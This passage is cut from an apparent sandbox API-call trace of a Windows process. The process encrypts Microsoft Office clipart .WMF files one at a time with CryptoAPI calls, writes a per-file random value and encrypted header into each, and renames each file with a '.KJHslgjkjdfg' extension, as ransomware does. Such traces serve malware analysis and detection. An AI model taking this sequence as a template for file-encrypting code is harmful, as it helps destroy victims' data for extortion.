hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.548] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.548] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe17a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe17a, lpOverlapped=0x0) returned 1 [0198.550] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe180, dwBufLen=0xe180 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe180) returned 1 [0198.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.550] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe180, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe180, lpOverlapped=0x0) returned 1 [0198.551] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.551] SetEndOfFile (hFile=0x130) returned 1 [0198.554] GetProcessHeap () returned 0x990000 [0198.554] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.554] GetProcessHeap () returned 0x990000 [0198.554] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.kjhslgjkjdfg")) returned 1 [0198.556] CloseHandle (hObject=0x130) returned 1 [0198.556] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0198.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.557] GetProcessHeap () returned 0x990000 [0198.557] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.557] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.557] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.560] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.560] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.560] GetProcessHeap () returned 0x990000 [0198.560] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.560] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.560] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.560] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.560] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.560] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.560] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.561] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.561] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.561] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.561] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x714e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x714e, lpOverlapped=0x0) returned 1 [0198.562] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7150, dwBufLen=0x7150 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7150) returned 1 [0198.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.563] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7150, lpOverlapped=0x0) returned 1 [0198.563] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.563] SetEndOfFile (hFile=0x130) returned 1 [0198.566] GetProcessHeap () returned 0x990000 [0198.566] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.566] GetProcessHeap () returned 0x990000 [0198.566] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.kjhslgjkjdfg")) returned 1 [0198.568] CloseHandle (hObject=0x130) returned 1 [0198.568] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0198.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.570] GetProcessHeap () returned 0x990000 [0198.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.570] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.572] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.572] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.572] GetProcessHeap () returned 0x990000 [0198.572] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.572] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.572] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.572] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.572] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.572] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.572] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.573] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.573] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.573] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.573] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c4e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c4e, lpOverlapped=0x0) returned 1 [0198.574] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50) returned 1 [0198.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.575] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c50, lpOverlapped=0x0) returned 1 [0198.575] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.575] SetEndOfFile (hFile=0x130) returned 1 [0198.578] GetProcessHeap () returned 0x990000 [0198.578] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.578] GetProcessHeap () returned 0x990000 [0198.578] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.kjhslgjkjdfg")) returned 1 [0198.580] CloseHandle (hObject=0x130) returned 1 [0198.580] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0198.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.581] GetProcessHeap () returned 0x990000 [0198.581] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.581] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.581] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.583] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.583] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.583] GetProcessHeap () returned 0x990000 [0198.583] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.583] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.583] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.583] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.583] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.583] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.583] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.583] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.584] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.584] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.584] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc37e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc37e, lpOverlapped=0x0) returned 1 [0198.585] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc380, dwBufLen=0xc380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc380) returned 1 [0198.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.586] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc380, lpOverlapped=0x0) returned 1 [0198.586] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.586] SetEndOfFile (hFile=0x130) returned 1 [0198.589] GetProcessHeap () returned 0x990000 [0198.589] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.589] GetProcessHeap () returned 0x990000 [0198.589] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.kjhslgjkjdfg")) returned 1 [0198.591] CloseHandle (hObject=0x130) returned 1 [0198.591] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0198.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.592] GetProcessHeap () returned 0x990000 [0198.592] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.593] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.593] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0198.595] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.595] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.595] GetProcessHeap () returned 0x990000 [0198.595] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.595] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.595] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.595] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.595] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.596] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.596] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.596] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.596] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.596] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.596] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x662a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x662a, lpOverlapped=0x0) returned 1 [0198.597] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6630, dwBufLen=0x6630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6630) returned 1 [0198.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.598] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6630, lpOverlapped=0x0) returned 1 [0198.598] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.598] SetEndOfFile (hFile=0x130) returned 1 [0198.601] GetProcessHeap () returned 0x990000 [0198.601] HeapFree (in: 